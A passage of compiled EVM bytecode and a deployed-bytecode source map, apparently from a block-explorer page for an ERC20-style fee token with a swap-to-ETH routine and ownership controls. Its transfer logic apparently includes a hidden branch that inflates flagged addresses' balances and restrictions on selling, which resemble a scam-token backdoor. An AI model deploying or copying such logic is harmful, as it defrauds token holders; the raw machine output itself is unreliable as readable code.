63ffffffff1660e01b8152600401602060405180830381865afa158015611b1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b4391906129c4565b81600181518110611b5757611b56612980565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611bbe30601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111d2565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611c22959493929190612aea565b600060405180830381600087803b158015611c3c57600080fd5b505af1158015611c50573d6000803e3d6000fd5b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611c9e573d6000803e3d6000fd5b505050565b6000600c54148015611cb757506000600d54145b8015611cc557506000600e54145b611cfd57600d54601081905550600e54601181905550600c54600f819055506000600d819055506000600e819055506000600c819055505b565b600080611d0b8361206e565b91509150611d6183600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b390919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611dfc576000611e73565b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff611e689190612b44565b611e729190612b44565b5b611ec583600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192190919063ffffffff16565b611ecf91906128f4565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f6481600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192190919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516120049190612340565b60405180910390a35050505050565b600f54600c81905550601054600d81905550604051806040016040528060115481526020016062815250601a60009054906101000a900460ff1660ff166002811061206157612060612980565b5b6020020151600e81905550565b60008060006064600c54856120839190612618565b61208d91906126a1565b905060006120a482866120b390919063ffffffff16565b90508082935093505050915091565b600081836120c19190612b44565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156121035780820151818401526020810190506120e8565b60008484015250505050565b6000601f19601f8301169050919050565b600061212b826120c9565b61213581856120d4565b93506121458185602086016120e5565b61214e8161210f565b840191505092915050565b600060208201905081810360008301526121738184612120565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006121ab82612180565b9050919050565b6121bb816121a0565b81146121c657600080fd5b50565b6000813590506121d8816121b2565b92915050565b6000819050919050565b6121f1816121de565b81146121fc57600080fd5b50565b60008135905061220e816121e8565b92915050565b6000806040838503121561222b5761222a61217b565b5b6000612239858286016121c9565b925050602061224a858286016121ff565b9150509250929050565b60008115159050919050565b61226981612254565b82525050565b60006020820190506122846000830184612260565b92915050565b6000602082840312156122a05761229f61217b565b5b60006122ae848285016121c9565b91505092915050565b6000819050919050565b60006122dc6122d76122d284612180565b6122b7565b612180565b9050919050565b60006122ee826122c1565b9050919050565b6000612300826122e3565b9050919050565b612310816122f5565b82525050565b600060208201905061232b6000830184612307565b92915050565b61233a816121de565b82525050565b60006020820190506123556000830184612331565b92915050565b6000806000606084860312156123745761237361217b565b5b6000612382868287016121c9565b9350506020612393868287016121c9565b92505060406123a4868287016121ff565b9150509250925092565b600060ff82169050919050565b6123c4816123ae565b82525050565b60006020820190506123df60008301846123bb565b92915050565b60006123f082612180565b9050919050565b612400816123e5565b82525050565b600060208201905061241b60008301846123f7565b92915050565b61242a816121a0565b82525050565b60006020820190506124456000830184612421565b92915050565b600080604083850312156124625761246161217b565b5b6000612470858286016121c9565b9250506020612481858286016121c9565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806124d257607f821691505b6020821081036124e5576124e461248b565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006125216020836120d4565b915061252c826124eb565b602082019050919050565b6000602082019050818103600083015261255081612514565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006125b36026836120d4565b91506125be82612557565b604082019050919050565b600060208201905081810360008301526125e2816125a6565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612623826121de565b915061262e836121de565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612667576126666125e9565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006126ac826121de565b91506126b7836121de565b9250826126c7576126c6612672565b5b828204905092915050565b7f4552523a207a65726f2061646472657373000000000000000000000000000000600082015250565b60006127086011836120d4565b9150612713826126d2565b602082019050919050565b60006020820190508181036000830152612737816126fb565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061279a6025836120d4565b91506127a58261273e565b604082019050919050565b600060208201905081810360008301526127c98161278d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061282c6023836120d4565b9150612837826127d0565b604082019050919050565b6000602082019050818103600083015261285b8161281f565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b60006128be6028836120d4565b91506128c982612862565b604082019050919050565b600060208201905081810360008301526128ed816128b1565b9050919050565b60006128ff826121de565b915061290a836121de565b9250828201905080821115612922576129216125e9565b5b92915050565b6000612933826123ae565b915060ff8203612946576129456125e9565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506129be816121b2565b92915050565b6000602082840312156129da576129d961217b565b5b60006129e8848285016129af565b91505092915050565b6000819050919050565b6000612a16612a11612a0c846129f1565b6122b7565b6121de565b9050919050565b612a26816129fb565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612a61816121a0565b82525050565b6000612a738383612a58565b60208301905092915050565b6000602082019050919050565b6000612a9782612a2c565b612aa18185612a37565b9350612aac83612a48565b8060005b83811015612add578151612ac48882612a67565b9750612acf83612a7f565b925050600181019050612ab0565b5085935050505092915050565b600060a082019050612aff6000830188612331565b612b0c6020830187612a1d565b8181036040830152612b1e8186612a8c565b9050612b2d6060830185612421565b612b3a6080830184612331565b9695505050505050565b6000612b4f826121de565b9150612b5a836121de565b9250828203905081811115612b7257612b716125e9565b5b9291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ae654efbf43906fd0a49a277746e8edd96435bdd48e4f495c4589cd94c035c3d64736f6c63430008100033
Deployed Bytecode Sourcemap
10901:8892:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13624:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14457:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11153:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12130:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13901:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12250:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14626:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13810:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14947:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11203:42;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11309:90;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12209:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12285:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11710:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12646:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14004:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10487:148;;;;;;;;;;;;;:::i;:::-;;11880:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11679:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12009:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10258:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13715;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15173:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14131:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11513:49;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11445:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11252:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11408:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14306:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10643:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13624:83;13661:13;13694:5;13687:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13624:83;:::o;14457:161::-;14532:4;14549:39;14558:12;:10;:12::i;:::-;14572:7;14581:6;14549:8;:39::i;:::-;14606:4;14599:11;;14457:161;;;;:::o;11153:43::-;;;;;;;;;;;;;;;;;;;;;;:::o;12130:41::-;;;;;;;;;;;;;:::o;13901:95::-;13954:7;13981;;13974:14;;13901:95;:::o;12250:28::-;;;;;;;;;;;;;:::o;14626:313::-;14724:4;14741:36;14751:6;14759:9;14770:6;14741:9;:36::i;:::-;14788:121;14797:6;14805:12;:10;:12::i;:::-;14819:89;14857:6;14819:89;;;;;;;;;;;;;;;;;:11;:19;14831:6;14819:19;;;;;;;;;;;;;;;:33;14839:12;:10;:12::i;:::-;14819:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;14788:8;:121::i;:::-;14927:4;14920:11;;14626:313;;;;;:::o;13810:83::-;13851:5;13876:9;;;;;;;;;;;13869:16;;13810:83;:::o;14947:218::-;15035:4;15052:83;15061:12;:10;:12::i;:::-;15075:7;15084:50;15123:10;15084:11;:25;15096:12;:10;:12::i;:::-;15084:25;;;;;;;;;;;;;;;:34;15110:7;15084:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;15052:8;:83::i;:::-;15153:4;15146:11;;14947:218;;;;:::o;11203:42::-;;;;;;;;;;;;;;;;;;;;;;:::o;11309:90::-;;;;;;;;;;;;;:::o;12209:28::-;;;;;;;;;;;;;:::o;12285:40::-;;;;;;;;;;;;;:::o;11710:24::-;;;;:::o;12646:44::-;;;;;;;;;;;;;;;;;;;;;;:::o;14004:119::-;14070:7;14097:9;:18;14107:7;14097:18;;;;;;;;;;;;;;;;14090:25;;14004:119;;;:::o;10487:148::-;10408:12;:10;:12::i;:::-;10397:23;;:7;:5;:7::i;:::-;:23;;;10389:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10594:1:::1;10557:40;;10578:6;::::0;::::1;;;;;;;;10557:40;;;;;;;;;;;;10625:1;10608:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;10487:148::o:0;11880:56::-;;;;:::o;11679:24::-;;;;:::o;12009:53::-;;;;:::o;10258:87::-;10304:7;10331:6;;;;;;;;;;;10324:13;;10258:87;:::o;13715:::-;13754:13;13787:7;13780:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13715:87;:::o;15173:269::-;15266:4;15283:129;15292:12;:10;:12::i;:::-;15306:7;15315:96;15354:15;15315:96;;;;;;;;;;;;;;;;;:11;:25;15327:12;:10;:12::i;:::-;15315:25;;;;;;;;;;;;;;;:34;15341:7;15315:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;15283:8;:129::i;:::-;15430:4;15423:11;;15173:269;;;;:::o;14131:167::-;14209:4;14226:42;14236:12;:10;:12::i;:::-;14250:9;14261:6;14226:9;:42::i;:::-;14286:4;14279:11;;14131:167;;;;:::o;11513:49::-;;;;:::o;11445:27::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;11252:43::-;;;;;;;;;;;;;;;;;;;;;;:::o;11408:30::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;14306:143::-;14387:7;14414:11;:18;14426:5;14414:18;;;;;;;;;;;;;;;:27;14433:7;14414:27;;;;;;;;;;;;;;;;14407:34;;14306:143;;;;:::o;10643:244::-;10408:12;:10;:12::i;:::-;10397:23;;:7;:5;:7::i;:::-;:23;;;10389:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10752:1:::1;10732:22;;:8;:22;;::::0;10724:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;10842:8;10813:38;;10834:6;::::0;::::1;;;;;;;;10813:38;;;;;;;;;;;;10871:8;10862:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;10643:244:::0;:::o;1035:98::-;1093:7;1124:1;1120;:5;;;;:::i;:::-;1113:12;;1035:98;;;;:::o;1145:::-;1203:7;1234:1;1230;:5;;;;:::i;:::-;1223:12;;1145:98;;;;:::o;1720:::-;1773:7;1800:10;1793:17;;1720:98;:::o;15916:266::-;16028:1;16011:19;;:5;:19;;;;:44;;;;;16053:1;16034:21;;:7;:21;;;;16011:44;16003:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;16118:6;16088:11;:18;16100:5;16088:18;;;;;;;;;;;;;;;:27;16107:7;16088:27;;;;;;;;;;;;;;;:36;;;;16156:7;16140:32;;16149:5;16140:32;;;16165:6;16140:32;;;;;;:::i;:::-;;;;;;;;15916:266;;;:::o;16190:1525::-;16340:1;16324:18;;:4;:18;;;16316:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16417:1;16403:16;;:2;:16;;;16395:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;16476:9;:15;16486:4;16476:15;;;;;;;;;;;;;;;;;;;;;;;;;16475:16;:44;;;;;16506:9;:13;16516:2;16506:13;;;;;;;;;;;;;;;;;;;;;;;;;16505:14;16475:44;16472:179;;;16582:12;;16544:6;:50;;16536:103;;;;;;;;;;;;:::i;:::-;;;;;;;;;16472:179;16691:11;;;;;;;;;;;16680:22;;:7;;;;;;;;;;;:22;;;;:57;;;;;16721:16;;;;;;;;;;;16720:17;16680:57;:95;;;;;16762:13;;;;;;;;;;;16754:21;;:4;:21;;;;16680:95;:133;;;;;16792:21;;;;;;;;;;;16680:133;16663:497;;;16880:1;16870:7;;:11;;;;;;;;;;;;;;;;;;16896:28;16927:24;16945:4;16927:9;:24::i;:::-;16896:55;;16992:12;;16969:20;:35;16966:78;;;17030:12;;17007:35;;16966:78;17084:1;17061:20;:24;17058:91;;;17101:36;17116:20;17101:14;:36::i;:::-;17058:91;16839:321;16663:497;17177:10;:14;17188:2;17177:14;;;;;;;;;;;;;;;;;;;;;;;;;17173:73;;17230:15;;17201:25;17219:6;17201:13;17211:2;17201:9;:13::i;:::-;:17;;:25;;;;:::i;:::-;:44;;17193:53;;;;;;17173:73;17259:15;17277:4;17259:22;;17296:10;:16;17307:4;17296:16;;;;;;;;;;;;;;;;;;;;;;;;;:34;;;;17316:10;:14;17327:2;17316:14;;;;;;;;;;;;;;;;;;;;;;;;;17296:34;17292:353;;;17360:5;17347:18;;17383:11;:15;17395:2;17383:15;;;;;;;;;;;;;;;;;;;;;;;;;:36;;;;;17415:3;17402:9;;;;;;;;;;;:17;;;17383:36;17380:94;;;17454:3;17441:9;;:17;;;;;;;;;;;;;;;;;;17380:94;17292:353;;;17505:13;;;;;;;;;;;17497:21;;:4;:21;;;17493:152;;17542:5;;17534;:13;;;;17493:152;;;17579:13;;;;;;;;;;;17573:19;;:2;:19;;;17569:76;;17620:5;;17612;:13;;;;17569:76;17493:152;17292:353;17665:42;17681:4;17686:2;17689:6;17696:10;17665:15;:42::i;:::-;16293:1422;16190:1525;;;:::o;1251:206::-;1337:7;1395:1;1390;:6;;1398:12;1382:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1437:1;1433;:5;1426:12;;1251:206;;;;;:::o;823:98::-;881:7;912:1;908;:5;;;;:::i;:::-;901:12;;823:98;;;;:::o;17855:235::-;12581:4;12562:16;;:23;;;;;;;;;;;;;;;;;;17940:38:::1;17957:20;17940:16;:38::i;:::-;17989:19;18011:21;17989:43;;18043:39;18056:13;;;;;;;;;;;18070:11;18043:12;:39::i;:::-;17929:161;12627:5:::0;12608:16;;:24;;;;;;;;;;;;;;;;;;17855:235;:::o;18584:347::-;18709:10;18705:107;;18735:11;:9;:11::i;:::-;18705:107;;;18787:7;;:9;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;18705:107;18826:42;18842:6;18850:9;18861:6;18826:15;:42::i;:::-;18885:10;18881:42;;18910:13;:11;:13::i;:::-;18881:42;18584:347;;;;:::o;18100:474::-;18168:21;18206:1;18192:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18168:40;;18237:4;18219;18224:1;18219:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;18263:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18253:4;18258:1;18253:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;18296:62;18313:4;18328:15;;;;;;;;;;;18346:11;18296:8;:62::i;:::-;18369:15;;;;;;;;;;;:66;;;18450:11;18476:1;18493:4;18520;18540:15;18369:197;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18155:419;18100:474;:::o;17725:120::-;17810:6;:15;;:23;17826:6;17810:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17725:120;;:::o;15487:259::-;15539:1;15530:5;;:10;:24;;;;;15553:1;15544:5;;:10;15530:24;:38;;;;;15567:1;15558:5;;:10;15530:38;15570:7;15527:50;15605:5;;15589:13;:21;;;;15638:5;;15622:13;:21;;;;15671:5;;15655:13;:21;;;;15695:1;15687:5;:9;;;;15715:1;15707:5;:9;;;;15735:1;15727:5;:9;;;;15487:259;:::o;18939:570::-;19043:25;19070:19;19093:26;19104:14;19093:10;:26::i;:::-;19042:77;;;;19150:37;19172:14;19150:9;:17;19160:6;19150:17;;;;;;;;;;;;;;;;:21;;:37;;;;:::i;:::-;19130:9;:17;19140:6;19130:17;;;;;;;;;;;;;;;:57;;;;19269:11;:22;19281:9;19269:22;;;;;;;;;;;;;;;;;;;;;;;;;19268:91;;19357:1;19268:91;;;19336:17;19315:9;:20;19325:9;19315:20;;;;;;;;;;;;;;;;19296:17;19295:40;;;;:::i;:::-;:58;;;;:::i;:::-;19268:91;19221:43;19246:17;19221:9;:20;19231:9;19221:20;;;;;;;;;;;;;;;;:24;;:43;;;;:::i;:::-;:139;;;;:::i;:::-;19198:9;:20;19208:9;19198:20;;;;;;;;;;;;;;;:162;;;;19398:41;19427:11;19398:9;:24;19416:4;19398:24;;;;;;;;;;;;;;;;:28;;:41;;;;:::i;:::-;19371:9;:24;19389:4;19371:24;;;;;;;;;;;;;;;:68;;;;19472:9;19455:46;;19464:6;19455:46;;;19483:17;19455:46;;;;;;:::i;:::-;;;;;;;;19031:478;;18939:570;;;:::o;15758:145::-;15804:13;;15796:5;:21;;;;15832:13;;15824:5;:21;;;;15861:34;;;;;;;;15863:13;;15861:34;;;;15878:4;15861:34;;;15885:9;;;;;;;;;;;15861:34;;;;;;;;;:::i;:::-;;;;;;15853:5;:42;;;;15758:145::o;19519:269::-;19585:7;19594;19614:19;19657:3;19651:5;;19636:14;:20;;;;:::i;:::-;:24;;;;:::i;:::-;19614:46;;19671:25;19699:31;19718:11;19699:14;:18;;:31;;;;:::i;:::-;19671:59;;19749:17;19768:11;19741:39;;;;;;19519:269;;;:::o;929:98::-;987:7;1018:1;1014;:5;;;;:::i;:::-;1007:12;;929:98;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:329::-;3505:6;3554:2;3542:9;3533:7;3529:23;3525:32;3522:119;;;3560:79;;:::i;:::-;3522:119;3680:1;3705:53;3750:7;3741:6;3730:9;3726:22;3705:53;:::i;:::-;3695:63;;3651:117;3446:329;;;;:::o;3781:60::-;3809:3;3830:5;3823:12;;3781:60;;;:::o;3847:142::-;3897:9;3930:53;3948:34;3957:24;3975:5;3957:24;:::i;:::-;3948:34;:::i;:::-;3930:53;:::i;:::-;3917:66;;3847:142;;;:::o;3995:126::-;4045:9;4078:37;4109:5;4078:37;:::i;:::-;4065:50;;3995:126;;;:::o;4127:152::-;4203:9;4236:37;4267:5;4236:37;:::i;:::-;4223:50;;4127:152;;;:::o;4285:183::-;4398:63;4455:5;4398:63;:::i;:::-;4393:3;4386:76;4285:183;;:::o;4474:274::-;4593:4;4631:2;4620:9;4616:18;4608:26;;4644:97;4738:1;4727:9;4723:17;4714:6;4644:97;:::i;:::-;4474:274;;;;:::o;4754:118::-;4841:24;4859:5;4841:24;:::i;:::-;4836:3;4829:37;4754:118;;:::o;4878:222::-;4971:4;5009:2;4998:9;4994:18;4986:26;;5022:71;5090:1;5079:9;5075:17;5066:6;5022:71;:::i;:::-;4878:222;;;;:::o;5106:619::-;5183:6;5191;5199;5248:2;5236:9;5227:7;5223:23;5219:32;5216:119;;;5254:79;;:::i;:::-;5216:119;5374:1;5399:53;5444:7;5435:6;5424:9;5420:22;5399:53;:::i;:::-;5389:63;;5345:117;5501:2;5527:53;5572:7;5563:6;5552:9;5548:22;5527:53;:::i;:::-;5517:63;;5472:118;5629:2;5655:53;5700:7;5691:6;5680:9;5676:22;5655:53;:::i;:::-;5645:63;;5600:118;5106:619;;;;;:::o;5731:86::-;5766:7;5806:4;5799:5;5795:16;5784:27;;5731:86;;;:::o;5823:112::-;5906:22;5922:5;5906:22;:::i;:::-;5901:3;5894:35;5823:112;;:::o;5941:214::-;6030:4;6068:2;6057:9;6053:18;6045:26;;6081:67;6145:1;6134:9;6130:17;6121:6;6081:67;:::i;:::-;5941:214;;;;:::o;6161:104::-;6206:7;6235:24;6253:5;6235:24;:::i;:::-;6224:35;;6161:104;;;:::o;6271:142::-;6374:32;6400:5;6374:32;:::i;:::-;6369:3;6362:45;6271:142;;:::o;6419:254::-;6528:4;6566:2;6555:9;6551:18;6543:26;;6579:87;6663:1;6652:9;6648:17;6639:6;6579:87;:::i;:::-;6419:254;;;;:::o;6679:118::-;6766:24;6784:5;6766:24;:::i;:::-;6761:3;6754:37;6679:118;;:::o;6803:222::-;6896:4;6934:2;6923:9;6919:18;6911:26;;6947:71;7015:1;7004:9;7000:17;6991:6;6947:71;:::i;:::-;6803:222;;;;:::o;7031:474::-;7099:6;7107;7156:2;7144:9;7135:7;7131:23;7127:32;7124:119;;;7162:79;;:::i;:::-;7124:119;7282:1;7307:53;7352:7;7343:6;7332:9;7328:22;7307:53;:::i;:::-;7297:63;;7253:117;7409:2;7435:53;7480:7;7471:6;7460:9;7456:22;7435:53;:::i;:::-;7425:63;;7380:118;7031:474;;;;;:::o;7511:180::-;7559:77;7556:1;7549:88;7656:4;7653:1;7646:15;7680:4;7677:1;7670:15;7697:320;7741:6;7778:1;7772:4;7768:12;7758:22;;7825:1;7819:4;7815:12;7846:18;7836:81;;7902:4;7894:6;7890:17;7880:27;;7836:81;7964:2;7956:6;7953:14;7933:18;7930:38;7927:84;;7983:18;;:::i;:::-;7927:84;7748:269;7697:320;;;:::o;8023:182::-;8163:34;8159:1;8151:6;8147:14;8140:58;8023:182;:::o;8211:366::-;8353:3;8374:67;8438:2;8433:3;8374:67;:::i;:::-;8367:74;;8450:93;8539:3;8450:93;:::i;:::-;8568:2;8563:3;8559:12;8552:19;;8211:366;;;:::o;8583:419::-;8749:4;8787:2;8776:9;8772:18;8764:26;;8836:9;8830:4;8826:20;8822:1;8811:9;8807:17;8800:47;8864:131;8990:4;8864:131;:::i;:::-;8856:139;;8583:419;;;:::o;9008:225::-;9148:34;9144:1;9136:6;9132:14;9125:58;9217:8;9212:2;9204:6;9200:15;9193:33;9008:225;:::o;9239:366::-;9381:3;9402:67;9466:2;9461:3;9402:67;:::i;:::-;9395:74;;9478:93;9567:3;9478:93;:::i;:::-;9596:2;9